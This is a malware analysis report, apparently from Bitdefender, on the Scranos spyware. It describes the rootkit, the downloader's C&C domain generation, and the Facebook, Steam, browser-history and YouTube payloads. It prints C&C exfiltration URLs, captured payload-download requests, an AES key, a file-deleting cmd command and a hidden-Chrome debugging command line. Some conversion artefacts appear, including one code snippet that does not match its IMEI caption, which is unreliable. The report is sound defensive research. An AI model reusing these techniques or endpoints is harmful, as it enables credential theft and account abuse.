Inside Scranos – A Cross Platform, Rootkit-Enabled Spyware Operation
Authors:

Andrei Raul ARDELEAN - Security Researcher, Cyber Threat Intelligence Lab
Claudiu Ștefan COBLIȘ - Security Researcher, Cyber Threat Intelligence Lab
Cristofor OCHINCA - Security Researcher, Cyber Threat Intelligence Lab
Cristian Alexandru ISTRATE - Team Lead, Cyber Threat Intelligence Lab
Overview

Last year, the Bitdefender Cyber Threat Intelligence Lab started analysis of a new password- and data-stealing operation based around a rootkit driver digitally signed with a possibly stolen certificate. The operation, partially described in a recent article by Tencent, primarily targeted Chinese territory until recently, when it broke out around the world.

Despite the sophistication, this attack looks like a work in progress, with many components in the early stage of development. Although the campaign has not reached the magnitude of the Zacinlo adware campaign, it is already infecting users worldwide.

We discovered that the operators of this rootkit-enabled spyware are continuously testing new components on already-infected users and regularly making minor improvement to old components. The various components can serve different purposes or take different approaches to achieving their goals. Some of the most important components shipped with the malware can achieve the following:

• Extract cookies and steal login credentials from Google Chrome, Chromium, Mozilla Firefox, Opera, Microsoft Edge, Internet Explorer, Baidu Browser and Yandex Browser.
• Steal a user’s payment accounts from his Facebook, Amazon and Airbnb webpages.
• Send friend requests to other accounts, from the user’s Facebook account.
• Send phishing messages to the victim’s Facebook friends containing malicious APKs used to infect Android users as well.
• Steal login credentials for the user’s account on Steam.
• Inject JavaScript adware in Internet Explorer.
• Install Chrome/Opera extensions to inject JavaScript adware on these browsers as well.
• Exfiltrate browsing history.
• Silently display ads or muted YouTube videos to users via Chrome. We found some droppers that can install Chrome if it is not already on the victim’s computer.
• Subscribe users to YouTube video channels.
• Download and execute any payload.
Infection and spreading mechanisms

Bitdefender research reveals this malware spreads via Trojanized applications disguised as cracked software, or applications posing as legitimate software such as e-book readers, video players, drivers or even antimalware products. When executed, a rootkit driver is installed to cloak the malware and ensure persistence. The malware then phones home and is told what other components to download and install.

Our telemetry shows the adware has a global presence, but it seems more prevalent in India, Romania, Brazil, France, Italy and Indonesia. All identified samples confirm that this operation is in a consolidation stage: the oldest samples identified date back to November 2018, with a massive spike in December and January. However, in March 2019, the command and control servers started pushing other strains of malware – a clear indicator that the network is now affiliated with third parties in pay-per install schemes.
In addition to installing malicious components, Scranos attempts to interact with websites on the victim’s behalf. Bitdefender researchers discovered the malware aggressively promotes four YouTube videos on different channels. They are listed below, with the inferred time intervals of use by the adware campaign:

<table>
<thead>
<tr>
<th>YouTube Page</th>
<th>Started</th>
<th>Ended</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube%5B.%5Dcom/watch?v=nF072khSD58">https://www.youtube[.]com/watch?v=nF072khSD58</a></td>
<td>28.02.2019</td>
<td>active</td>
</tr>
<tr>
<td><a href="https://www.youtube%5B.%5Dcom/watch?v=q8lqPPEMeP8">https://www.youtube[.]com/watch?v=q8lqPPEMeP8</a></td>
<td>22.02.2019</td>
<td>27.02.2019</td>
</tr>
<tr>
<td><a href="https://www.youtube%5B.%5Dcom/watch?v=d7TnzoQjoTw">https://www.youtube[.]com/watch?v=d7TnzoQjoTw</a></td>
<td>21.02.2019</td>
<td></td>
</tr>
<tr>
<td><a href="https://www.youtube%5B.%5Dcom/watch?v=peJ2ypMip+J-s">https://www.youtube[.]com/watch?v=peJ2ypMip+J-s</a></td>
<td>02.01.2019</td>
<td></td>
</tr>
</tbody>
</table>

One of those channels, created on 19 February 2019, received more than 3,100 new subscribers in a single day.

A look at the comments section below the video reveals that the malware effectively subscribes users without their knowledge:
Section 1 - Anatomy of the attack

Dropper and Rootkit components

The original avenue of infection is usually a piece of cracked software or Trojanized application posing as a legitimate utility bundled with the initial dropper. The dropper, which doubles as a password stealer, installs a driver that provides persistence to all other components to be installed in the future. As this paper was written, the digital signature of the driver, issued to Yun Yu Health Management Consulting (Shanghai) Co., Ltd, had not been revoked on grounds of obvious fraudulent activity. Bitdefender informed the issuing Certificate Authority that the digital certificate was either compromised or misused.

The rootkit uses an effective persistence mechanism of rewriting itself at shutdown but does not hide itself. Subsequently, it is not protected against deletion if detected. Besides the driver itself, no other components can be found on disk, as they are deleted after running. They can be downloaded again if needed. The rootkit injects a downloader into a legitimate process, which then downloads one or more payloads. Below is an illustration of how the dropper and rootkit operate:

1. The dropper steals cookies, login credentials and payment info with the help of specialized DLLs. It supports the most common browsers and targets Facebook, YouTube, Amazon and Airbnb. Data gathered is sent back to the C&C.
2. The dropper installs the rootkit.
3. The rootkit registers a Shutdown callback to achieve persistence. At shutdown, the driver is written to disk and a start-up service key is created in the Registry.
4. The rootkit injects a downloader into a svchost.exe process.
5. The downloader sends some info about the system to the C&C and receives download links.
6. Further payloads are downloaded and executed.
YouTube subscriber payload

One of the payload files is an adware file that manipulates YouTube pages. To achieve this, it uses Chrome in debugging mode. Some droppers even install Chrome if the user doesn’t have it. The payload hides the Chrome window on the desktop and taskbar but its process is still visible in Task Manager/Process Explorer. After receiving a YouTube page from the C&C, the URL is opened in Chrome and the payload instructs Chrome to take various actions in the page: start a video, mute a video, subscribe to a channel, click ads. These operations are performed through debug commands.

A diagram for this payload type:

1. The payload sends the C&C data that identifies the system and receives a JSON containing a YouTube link.
2. Using an embedded DLL, it opens the Chrome browser in debugging mode to the YouTube link.
3. The embedded DLL injects another small DLL in Chrome that hides the Chrome window.
4. Chrome opens the YouTube page.
5. The payload debugs Chrome using the Chrome DevTools Protocol. At this stage, it takes various actions on the page: subscribe, click ads, starts the video.

Extension Installer Payload

This type of payload installs adware extensions in Chrome. These extensions are meant to further inject adware scripts in web pages. Internet Explorer is also targeted, and the adware scripts are injected into it using other methods. As seen in the picture below, the script link highlighted in red, as well as its content in blue, were inserted into a web page in the Chrome browser using a malicious extension.
1. The Extension Installer Payload (wcrx.exe) injects the DLL that interferes with Internet Explorer into `rundll32.exe` process.

2. The injected DLL gets JavaScript code from the C&C.

3. The JavaScript is injected into Internet Explorer windows using a COM Object.

The following diagram explains this functionality:
4. The payload installs the adware extension in Chromium-based browsers.

Facebook Spammer Payload

The purpose of this payload is to send Facebook friend requests to other users. It also sends messages to the user’s Facebook friends with links to suspicious Android APKs. It does so by stealing cookies from browsers, collecting tokens from the user’s profile page and sending crafted requests to Facebook. This can be used to increase the influence of selected accounts or in a scheme where attackers sell fake Facebook followers.

The process is as follows:

1. The payload collects Facebook cookies from installed browsers using an embedded DLL. It uses an external program, Nirsoft’s EdgeCookiesView, to collect cookies from Microsoft Edge.

2. The payload receives a list of Facebook users and links to malicious APKs from the command and control center.

3. Using the collected cookies and other tokens, the payload then sends friend requests to the Facebook user list received by the C&C and then spams messages containing the APK links to them.

Steam Data Stealer Payload

The main purpose of this type of payload is to steal user credentials from the Steam gaming platform. First, it forces Steam to ask for the credentials again. Then it injects a DLL in the Steam executable that finds the username and password as they are entered. At the same time, it gathers a list of installed games and the time they have been played. The 64bit components of this payload are also there, but they serve no purpose yet, which suggests the stealer is still under development.

A schematic diagram describes the process:
1. The payload forces Steam to ask for credentials at next logon by modifying files and Registry values.

2. The payload creates a `rundll32.exe` process and injects a DLL in it.

3. The DLL in `rundll32.exe` will search for `steam.exe` process and inject the password stealer DLL in it.

4. The password stealer DLL steals the user’s credentials and sends them to the C&C along with other info about the games installed.

**Browsing History Stealer Payload**

This payload collects Chrome's browsing history and sends it to the C&C in an encrypted form. This is similar to the other identified payloads: the executable is obfuscated in the same way, the data to be sent is encrypted with AES using the same key, the same C&C is used, and it also uses the rootkit to delete itself. This is a simpler payload and could be further evidence that this is a work in progress.

1. The payload reads Chrome's browsing history.

2. The history is encrypted and sent to the C&C.
Section 2 – A closer look at the dropper

The dropper is the component that starts this infection chain. It is masked as legitimate software or software cracks – we found samples posing as e-book readers, video players, antimalware products and driver software.

Its data and payloads are encrypted. It decrypts to a loader stub which, in turn, decrypts a DLL loaded with help from the stub in the address space of the process. An exported function named **WorkIn** in this DLL is called. This function represents the actual functionality of the executable. This decryption pattern, as well as the dynamic loading of a DLL with an exported function named **WorkIn** that represents the actual payload, is prevalent in multiple executables linked to this campaign.

If prior infection markers are found, the malware deletes itself. Otherwise, it sets the infection markers and acts as described below.

The signed rootkit driver is dropped in `%WINDIR%\System32` and loaded with the SCManager interface. Its filename is generated from the first 12 characters of the MD5 hash of the current user’s SID string.

It steals browser cookies and login credentials from the current user’s default browser. It can extract cookies and login credentials from **Google Chrome**, **Chromium**, **Mozilla Firefox**, **Opera**, **Microsoft Edge**, **Internet Explorer**, **Baidu Browser** and the **Yandex Browser**. It can steal cookies and login information from the user’s accounts on **Facebook**, **YouTube**, **Amazon** and **Airbnb**.

Furthermore, if the user is logged into a Facebook account, it impersonates the user and extracts data from the account by visiting certain web pages from the user’s computer, to avoid arousing suspicion by triggering an unknown device alert. It can extract the number of friends, and whether the user administers any pages or has payment information in the account. It also tries using the Facebook account to steal Instagram log-in cookies and the number of followers the user has on Instagram.

For example, to get the number of friends of the user, it visits:

```
https://www.facebook[.]com/profile.php?sk=about&id={user_id}
```

with the stolen cookies, and searches for the string `<span class="_gs6">` which describes the number of friends in the HTML page.

In a similar manner, it tries extracting information from Amazon or Airbnb if an Amazon or Airbnb account is logged in on the infected computer.

As a last step, it disables Windows Defender Real-Time Protection and deletes itself with the help of the installed driver, while leaving the driver on the system.

We found multiple versions of this dropper; some versions also downloaded and installed an official version of Google Chrome if it wasn’t already installed on the machine. The installation is hidden from the user by starting it in a new hidden desktop with name `Vitural_desktop_shell`.

Some versions only extract data for one of the mentioned sites, while others extract cookies and login information for all sites, but also attempt to extract more information (payment data, friends list etc.) for one of the mentioned domains only.

Some of the requests made by the dropper can be seen below:

Request to `http://178.162.132[.]79/1.php` trying to steal cookies and login information:
Facebook DLL

This DLL is contained in some versions of the main dropper and used to extract information about the user's Facebook account. In some versions, this DLL is missing and its functionality is implemented in the main dropper. In others, it is missing entirely. It is the only component written in Visual Basic. It can extract the following information:

- Payment accounts (it has 2 methods to check whether the victim has a payment account added to its Facebook account)
- Victim's number of friends
- Whether the user is an administrator on a page
Amazon DLL

This DLL is contained in some versions of the main dropper and used to extract information from the user's Amazon account. We found a version of this DLL that can also extract information from logged-in Airbnb accounts.
Section 3 – The rootkit component

This is the driver the dropper installs on the system. At the time of writing, it contains a valid digital signature with a certificate issued to 韵羽健康管理咨询（上海）有限公司, which translates as Yun Yu Health Management Consulting (Shanghai) Co., Ltd.. The most likely scenario is that an impersonator obtained this certificate fraudulently, even if the company is not a software vendor. The choice of company helps the attackers conceal the existence of a digital certificate issued in the original company’s name.

### Certificate Information

This certificate is intended for the following purpose(s):

- Ensures software came from software publisher
- Protects software from alteration after publication

*Refer to the certification authority’s statement for details.

**Certificate Details:**

- **Issued to:** 韵羽健康管理咨询（上海）有限公司
- **Issued by:** DigiCert EY Code Signing CA
- **Valid from:** 01. 12. 2018 to 04. 12. 2019

The rootkit sets up and creates a device with named `\Device\VideoDriver`. It serves three main purposes:

1) Decrypts and injects the downloader in a `svchost.exe` process with system authority.

2) It can delete a specified file using low-level file system operations. This can be used to delete files on which the high-level Windows API would fail because the files are currently in use. For this, it registers a `DEVICE_CONTROL` function that responds to control code `0x83050004` and receives a `WCHAR` string as parameter. We observed this control code being passed to the driver from other modules as a self-delete feature, while still loaded in memory.

3) Registers an `IRP_MJ_SHUTDOWN` function which is used to ensure the persistence of this rootkit in the infected system by rewriting itself on disk and in registry at every shutdown, in case it was deleted.

To protect itself, it opens its image file with `IoCreateFile` and keeps the handle open while the driver is loaded. This makes it impossible to delete the file because a handle is kept open in System. To remove this rootkit, it must first be unloaded.

If the registry value `BugSignature` exists in `HKLM\Software\Microsoft`, it will neither fulfil its purposes, nor protect itself.
Section 4 – The downloader

This module is stored encrypted inside the rootkit driver. It is decrypted and injected in a `svchost.exe` process. It is used to download and execute files from the command and control server.

When loaded, it contacts a different C&C depending on the time. Every two weeks, the C&C changes. The address is MD5(SHA1(string based on current date)). The string represents a concatenation between the current date in the `yyyyymmdd` format and the string `'can't load the buf1'` where `yyyy` represents the current year, `mm` represents the space-padded month (months with a single digit will have a space instead of a `0` as the first character), `dd` can have two values: `'01'` if the current day is on or before the 15th of the month, or `'15'` if after. For example, for the 20th of February 2019, the resulted string would be `'2019 0215can't load the buf1'`.

For example, the request: `http://B453A3C474BE9C1BB54E927E99CA7CFA[.].online/sta.php?g=5FC52BDCCF1D0BFA8D1C94BE8EE1215C460AD370409C81F16B&o=6&b=IE&v=2.0&l=p001&i=all&s=01DBE7DC97BD79C1FA0D60CF9D34D9F2` is composed of:

- `g` = a computer id generated from the SID of the current user and the system volume serial number
- `o` = major version of operating system
- `b` = default browser on the system
- `v` = trojan version (found samples with “1.0”, “2.0” and “3.0”)
- `l` = value “msver1” from ‘HKLM\Software\Microsoft’, or “all” if no such value exists
- `i` = value “msver2” from ‘HKLM\Software\Microsoft’, or “all” if no such value exists
- `s` = redundancy hash of computer id (g parameter) + major version of OS (o parameter) + “xyz”

The C&C responds with a list of files to download and execute:

```
http://link1/file1.dat---0
http://link1/file2.dat---1
```

In our case, the response was:

```
http://dl.ossdown[.]fun/y2b.dat---0
http://dl.ossdown[.]fun/wcrx.dat---0
```

The files are then downloaded and decompressed to `%TEMP%`, then executed. The original file is compressed to the 7z format.

If “0” is specified, the MD5 hash of the download link is computed and checked for the existence of a value with the same name as this MD5 in `HKLM\Software\Microsoft`. If such a value exists, the file is not downloaded. Otherwise, it is downloaded and the MD5 of its download link is added as a value of the above-mentioned key to avoid future downloads of the same file.

If “1” is specified, there is no check for a value in registry, it is downloaded as long as another file with the same name does not exist in the `%TEMP%` folder.
Section 5 – The extension installer payload

This corresponds to the file `wcrx.exe`, named after its export name and PDB file. It is packed with the same packer characteristic to this malware, which decrypts, loads and calls the `WorkIn` function from a DLL contained in the original executable. Its main task is to find ways of injecting JavaScript in the user’s browsers. When called by its loader, it:

- adds a browser extension called `chrome_filter` to Chrome or Opera if they are installed on the machine
- makes a request to download `http://fffffk[.]xyz/down/m_inc.js?{timestamp in milliseconds}` and replaces the `m_inc.js` file from the browser extension (this is the content script of the extension, which runs for every visited page)
- starts `%SYSTEMROOT%\system32\rundll32.exe` and injects another DLL in it (`wsearch_ie.dll`) which further looks for opportunities of injecting JavaScript in Internet Explorer processes
- In the end, it deletes itself with help from the rootkit driver

```
GET /down/m Inc.js?3f159661385882 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 5.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: Fffffk.xyz
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 28 Feb 2019 11:24:08 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: _cfuid=dbe2c8a34a3107b9018368792ce8389750611847; expires=Thu, 26-Feb-20 11:24:08 GMT; path=;
domain=.ffffffk.xyz; httpOnly
Last-Modified: Sat, 12 Jan 2019 23:25:49 GMT
ETag: "56a77d-a"
Expires: Sun, 28 Feb 2019 23:14:00 GMT
Cache-Control: public, max-age=86400
CF-ViewStat: status=H55
Server: cloudflare

BEGIN

GET /chrome_filter.js HTTP/1.1
Host: info.d3pk[.]com
Accept: */*

HTTP/1.1 200 OK
Date: Wed, 28 Feb 2019 11:24:08 GMT
Content-Type: text/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: _cfuid=dbe2c8a34a3107b9018368792ce8389750611847; expires=Thu, 26-Feb-20 11:24:08 GMT; path=;
domain=.ffffffk.xyz; httpOnly
Last-Modified: Sat, 12 Jan 2019 23:25:49 GMT
ETag: "56a77d-a"
Expires: Sun, 28 Feb 2019 23:14:00 GMT
Cache-Control: public, max-age=86400
CF-ViewStat: status=H55
Server: cloudflare

END

```

`wsearch_ie.dll`

This DLL is injected in `rundll32.exe` by the Extension Installer payload (`wcrx.exe`). When loaded, it queries `http://info.d3pk[.]com/js_json` for a list of JSONs, which contain the scripts to inject into Internet Explorer and states on which pages.

```
http://info.d3pk[.]com/js_json
```

[16]
The JS scripts will be injected in Internet Explorer on pages that contain *domain* by searching for windows with class name *IEFrame*, and injecting into windows with class name *Internet Explorer_Server* by getting their HTML object and using the COM interface function *IHTMLWindow2.execScript()*.

**Section 6 - Chrome Extensions**

Our research revealed some Extension Installer Payloads that install different browser extensions:

**Chrome Filter – version 1.0.0**

Its metadata information seems to be copied from the MEGA v3.44.4 Chrome extension.

It runs *m_inc.js* for every loaded page. The purpose of this JavaScript file is to inject an adware script at the end of the body element of the loaded html page *//s3.amazonaws.com/jscriptcdn/1f546f49ebf4153c8a.js*.

To hide the installed extension from the user, when the local extension page *chrome://extensions* is being visited, it redirects to the Chrome Web Store at *https://chrome.google.com/webstore/category/extension*.

When users click on the extension, an alert will be generated with *chrome_filter* as the title and a message that contains *url--* and the URL of the current selected tab and an empty extension pop-up will be displayed (e.g.: *url--https://google.com*).
Fierce-tips – version 1.0.2

When it is installed, this extension creates a new entry in context menu called **USE Fierce Search:** where users can search any content using this website.

If users click on the *Fierce* extension from its popup, it should create a new tab that will automatically load [http://15s0[.]com](http://15s0[.]com). Unfortunately, on Chrome v52 and Chrome v72, it didn't seem to work the way it was supposed to. Over time, this website has undergone massive repurposing, from a simple webpage to a porn website to search engine and now to a blog powered by WordPress.
This extension still exists on the Google Webstore, and is currently in use by nearly 149,000 users. When installed, it changes the default search engine to \text{http://feed.pdf-maker[J].com/?q=} without the user’s consent. On the Google Webstore, though, it says that the default search engine will be changed. When users visit the extension’s homepage \text{pdf-maker[J].com}, the extension adds a new div element with id \text{extInstalled} to the body element of the loaded page.
Section 7 – The Facebook Spammer Payload

This is another payload downloaded by the injected downloader. It is responsible for sending friend requests to other users, as well as sending phishing messages to friends of the victim. The payload is similar to the others, as it features the same obfuscation, and similar embedded DLLs and executables to achieve its purpose. It also uses the MSScriptControl.ScriptControl COM interface with the same JavaScript file to parse JSONs as the YouTube subscriber payload described below.

The payload loads a version of `facebook.dll` (described earlier) that extracts Facebook cookies from Chrome (and Chromium-based browsers) and Firefox. It also embeds Nirsoft’s EdgeCookiesView to extract cookies from the Edge browser. EdgeCookiesView is used silently without user interaction. Using these tools, it searches the Facebook user ID (`c_user` cookie).

```c
params = var_str_concat( 7, 7, "to_friend=", "friend_id=", "Action-add_friend&how_found_requests_page_pymk&ref_param=none&outgoing_id=&logging_location=friends_center_" & Amp;quot_on_click=true&ego_log_data=http_referer&floc-pymk&refs[0]=friends_center&refs[1]=f8__user=" , "c_self_user_val=", "$_a=1&_req-228__be=18__pc=PHASED%20DEFAULT&_rev=39035566&fb_dtsg=", "fb_dtsg_val=", "__spin_id=39035566__spin_b=trunk&confirmed=1" );
```

Spam Friends

The payload visits `http://www.hh1m.com/fb/apk/index.php` and expects a JSON list with links to files. It will use the first element of the list to send messages to friends. In our case, it returned:

```json
[
  {
    "name": "heyvideo",
    "url": "http://dl.ossdown.fun/hey/heyvideo.apk",
    "chat": "Exquisite+life%2c+click+to+get+a+surprise."
  }
]
```
To get a list of the user's friends as a JSON, it sends a request to https://www.facebook.com:

It then sends to every friend of the user a message with the `chat` parameter from the JSON received from the C&C, and an attachment from the link in the `url` parameter. The name of the file will be the `name` parameter concatenated with `.apk` (ex: `heyvideo.apk`). In our case, the file is an Android application, so this campaign is clearly designed to deceive the victim’s friends into installing the malicious APK to extend the infection to smartphones as well.

The spammer component uploads the user's Facebook ID and the number of friends that have already been sent the APK link by visiting: http://www.hh1m.com/fb/apk/count.php?c_user=<victim_fbid>&num=<num_friends>.

In the end, the payload deletes itself using a dropped Visual Basic Script file.

### Android Adware App

This application, called **Accurate scanning of QR code**, is a repackaged version of an app from Google Play Store. The app displays aggressive adware behaviour and interferes with the use of other legitimate applications. We first spotted this app on March 12, 2019 in Japan.

Its package name is `com.tqyapp.qr` and the certificate fingerprint is `2ccf95ad1daefd7a96e384f3f0fb9fdae9e8e39c`. We found other apps signed with the same certificate:

<table>
<thead>
<tr>
<th>App SHA1</th>
<th>Package Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>acfebc3b8c0acd0be95d0c58d25236e4b167d123</td>
<td>com.tqyapp.qr</td>
</tr>
<tr>
<td>a40d378f0766f20748bafbb23872c3c43bb6ec27a</td>
<td>com.tqyapp.qr</td>
</tr>
<tr>
<td>b0f36f20ced38a3137f27f6a399dbe9c4c8b4a6b</td>
<td>com.tqyapp.flashlight</td>
</tr>
</tbody>
</table>

The purpose of this application is apparently to track the infected victims. The app exfiltrates the phone's unique IMEI number by sending a request to its C&C, as shown in the code snippet below:

```java
url = var str_concat(

"ter[2]=family_tags&options[0]=friends_only&options[1]=admin&med_pages_only=true&v=7&context=tagger&viewer="
_c_self_user.val,
"&fb_dtsg=*",
"&fo_dtsg=*");
```
The C&C request will be:

http://hh1m.com/count/app/index.php?imei=phone_IMEI

The same C&C is used by the Windows components as well, so we can assume the Android application is also part of the whole adware campaign and not just an ordinary adware application. Except for the IMEI exfiltration part, the application is very similar to another app in the Play Store: https://play.google.com/store/apps/details?id=com.tqyapp.qr. As shown in the comments, users are already complaining about the adware behaviour of the original application.
This application contains the following adware SDKs: Facebook ads, Google ads, Tapjoy ads, as well as the tqwallpaper ad manager. Most of the code base is identical in both apps: the adware code is left unchanged; even some IDs used by the adware SDKs are preserved. It seems that the repackaged trojanized version is generating extra revenue, intended or not.
Section 8 – The Steam data stealer Payload

This executable can be one of the payloads downloaded by the injected downloader. Its purpose is theft of Steam information and credentials.

It is packed with the same packer characteristic to this malware, decrypting a DLL with a *WorkIn* function that represents the actual payload of the executable.

It starts by setting the value of *RememberPassword* in HKCU\Software\Valve\Steam to zero, and deleting all *ssfn* files in the Steam directory with the command `cmd.exe /c del /a /q {steam directory}\ssfn*`, actions taken to ensure that the user has to enter his credentials when logging in to Steam. If the Steam directory is not found, the executable exits and deletes itself.

It then proceeds to create a new instance of rundll32.exe and inject a DLL in the newly created rundll32 process. The injected code iterates through the currently running processes looking for processes with the name `steam.exe` and injecting another DLL in them.

The DLL injected in *steam.exe* is the one that controls Steam data theft and exfiltration to the attacker. It steals login credentials by hooking the *V_strncpy* function from *vstdlib_s.dll*, a DLL used by Steam, to check whether the copy is related to the *UserNameEdit* field or the *PasswordEdit* field and saving the values being copied.

When a user is successfully logged in to Steam, the payload sends the user's credentials, along with a list of apps the user has installed on Steam and the last time they were played (taken from the *localconfig.vdf* file in the steam directory), and a list of all games installed on the user's Steam account (taken from HKCU\Software\Valve\Steam\Apps), as well as a hardcoded version string denoting its own version. The games are represented by application IDs used by Steam, rather than their names. The data is first encrypted using AES-128-ECB using the key "87c7bb6eb0234bbb" and then encoded and sent to http://info.d3pk[.]com/s.php?str=

A hash of the credentials is added as a value in HKCU\SOFTWARE\Microsoft, the username-password combination is checked with those values prior to sending to the C&C in order to not send data for already sent username-password combinations.

The attacker seems to have made several mistakes when implementing the *localconfig.vdf* parsing and didn’t account for some fields showing up in the file. Therefore, unintended data may also be sent to the C&C in some cases.

The list of installed application is tagged as *pubg* in the data sent to the C&C. This is a remnant of older versions (e.g.: 1.4) which did not send the last played time of Steam games, but rather used this tag to flag whether PUBG (PlayerUnknown's Battlegrounds) was installed.

It contains 64 bit versions of all injected DLLs in case the processes injected into are 64 bits. However, those DLLs don’t have any functionality implemented and their debug data is named as *demodll.pdb*, this suggests that it may still be a work in progress.

```json
{"-----" : "username",
-----" : "pass",
"\{pubg\}": {"914320,1" "LastPlayed" "1551265255"
"token": "1"
"\{games\}": "914320"
"ver": "1.6.2"
}
```

The bold part wasn’t expected by the attacker and is there because additional fields are present in the *localconfig.vdf* file.

Notice that the list of installed application is tagged as *pubg* in the data sent to the C&C. This is a remnant of older versions (e.g.: 1.4) which did not send the last played time of Steam games, but rather used this tag to flag whether PUBG (PlayerUnknown's Battlegrounds) was installed.

It contains 64 bit versions of all injected DLLs in case the processes injected into are 64 bits. However, those DLLs don’t have any functionality implemented and their debug data is named as *demodll.pdb*, this suggests that it may still be a work in progress.
Section 9 - History Stealer Payload

This payload steals Chrome's history data from disk. It contains code to parse the SQLite database that holds the history.

The stolen data is then encrypted with AES with the same key as the one in the Steam Stealer Payload, encoded in Base64 and sent to the C&C as:

\[
http://info.d3pk[.]com/history/index.php?str=<Base64EncryptedData>
\]
Section 10 - YouTube Subscriber Payload

This is another downloaded payload, used to manipulate YouTube pages. This file is suggestively saved as `Y2B.EXE`. The file contains other executables:

- 32bit and 64bit versions of a driver that processes network requests through a specific DNS: `114.114.114.114` (see DNS driver section)
- a DLL that starts the Chrome browser and injects it another DLL (32 bit and 64bit versions available) that hides Chrome windows and Task Bar buttons (see HideCreateProcess DLL and MoveWindow DLL)

The DNS driver is dropped in `%TEMP%` folder for the current user with a random name, from 10 uppercase letters (ex: `MOIYZBWQSO.sys`). The driver acts as a proxy that uses DNS `114.114.114.114` for internet traffic. The dropper can use this feature by issuing commands to the driver and receiving responses from it. The driver is dropped and used only if the payload cannot connect to the Chrome debug server (more info below).

The payload connects to `https://info.d3pk[.]com` with the following request:

GET /id=02933B9F03AEB48B&xy=files2ff3b060ad0a9741c8b136fe776 HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
Accept: text/html, application/xhtml+xml,

Accept-Encoding: gzip, deflate
Accept-Language: en-us
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: info.d3pk.com

```
HTTP/1.1 200 OK
Date: Mon, 25 Feb 2019 18:09:32 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __ffid=6b2bf673e9352f13fde8e5583a5562a521551901771; expires=Tue, 25-Feb-20 18:49:51 GMT; path=/; domain=d3pk.com; HttpOnly
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.1
Server: cloudflare
CF-Ray: 44a969b156c44a9e1-OTP
```

The payload receives a JSON containing a YouTube URL. This URL is extracted and will be used for starting Chrome browser. For JSON parsing the executable is using a JavaScript file through the `MSScriptControl.ScriptControl` COM Interface. Another Interface `VBScript.RegExp` is used for matching regular expressions.

Chrome is started through an embedded DLL that is dynamically loaded in the process of the payload. The DLL also injects in Chrome another DLL that hides its window. The command line for starting Chrome is:

```
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-images
--remote-debugging-port=59315
--user-data-dir=C:\Users\user\AppData\Local\Temp\chrome_1551069360253
--lang=en-us
--disable-popup-blocking
--ignore-certificate-errors
--metrics-recording-only
--disable-hang-monitor
--disable-prompt-on-repost
--disable-sync
--disable-background-networking
--disable-web-resources
--safebrowsing-disable-auto-update
```
Chrome is started in debugging mode (\texttt{--remote-debugging-port=59315}), and the port is random generated each time the payload runs. From then on, the payload communicates with Chrome using the Chrome DevTools Protocol; it requests a JSON from http://127.0.0.1/json, a page set up by the Developer Tools, from where it finds the address of the WebSocket protocol server that was created for debugging. If, for some reason, it cannot get the requested JSON, the DNS driver is installed and a request to http://127.0.0.1/json is made through the driver. Through this server, the payload controls the debugged Chrome browser by sending and receiving JSON commands and responses. The following DevTools methods are used:

\begin{verbatim}
Browser.getWindowForTarget
Browser.setWindowBounds
Browser.close
Target.getTargets
Page.enable
Page.navigate
Page.disable
Page.reload
Network.enable
Network.clearBrowserCache
Network.disable
Network.clearBrowserCookies
Network.setCookies
Network.getCookies
Runtime.evaluate
Runtime.enable
Runtime.disable
DOM.setFileInputFiles
DOM.getBoxModel
\end{verbatim}
With the help of the above, it can navigate pages, enter text, click buttons, execute scripts in the page and evaluate variables from the page. If a user happens to be logged in with a Google account, the payload can perform the following interactions with the YouTube page received from the C&C:

- subscribe/unsubscribe to a channel
- activate/deactivate auto play
- start/stop a video
- mute/unmute a video
- click on advertiser links shown in video ads that precede the actual video
- click on **Skip Ads** button displayed after a time in ads
- click advertiser images shown at the end of a video

The four YouTube videos we discovered are listed below with the inferred time intervals when they were pushed by this adware:

<table>
<thead>
<tr>
<th>YouTube Page</th>
<th>Started</th>
<th>Ended</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=nF072khSD58">https://www.youtube.com/watch?v=nF072khSD58</a></td>
<td>28.02.2019</td>
<td>active</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=q8lqPPEMeP8">https://www.youtube.com/watch?v=q8lqPPEMeP8</a></td>
<td>22.02.2019</td>
<td>27.02.2019</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=d7TznOQjoTw">https://www.youtube.com/watch?v=d7TznOQjoTw</a></td>
<td>21.02.2019</td>
<td></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=peJ2vpmUu-s">https://www.youtube.com/watch?v=peJ2vpmUu-s</a></td>
<td>02.01.2019</td>
<td></td>
</tr>
</tbody>
</table>

We could see that more than 3,100 users subscribed overnight to one of those channels, created on 19 February 2019.
We observed that the authors seem careless about the functionality of their C&C scripts after modifying them.


### HideCreateProcess DLL

Has one export `HideCreateProcess` which gets one parameter, a command line, and starts the process with that command line. This is dynamically loaded by the payload and used to start the Chrome browser in debugging mode. It also injects in the newly created process the MoveWindow DLL (32bit or 64bit), for hiding its window.

### MoveWindow DLL

This component is a DLL that hides the window of the Chrome browser. Window lookup is done by the ClassName `Chrome_WidgetWin_` and then is moved out of the visible screen space. It also uses `ITaskbarList` COM Interface to hide the taskbar icon. This DLL is injected in the Chrome process. It has 32bit and 64bit variants.

### DNS driver rootkit

As the main rootkit, this is also signed with a certificate issued to.

It starts by registering its device name `Device\whttp` and registers an IRP_MJ_DEVICE_CONTROL function. The 64bit version of this rootkit requires user-mode applications to send 0x83050048 as control code, on 32bit this value is not checked.

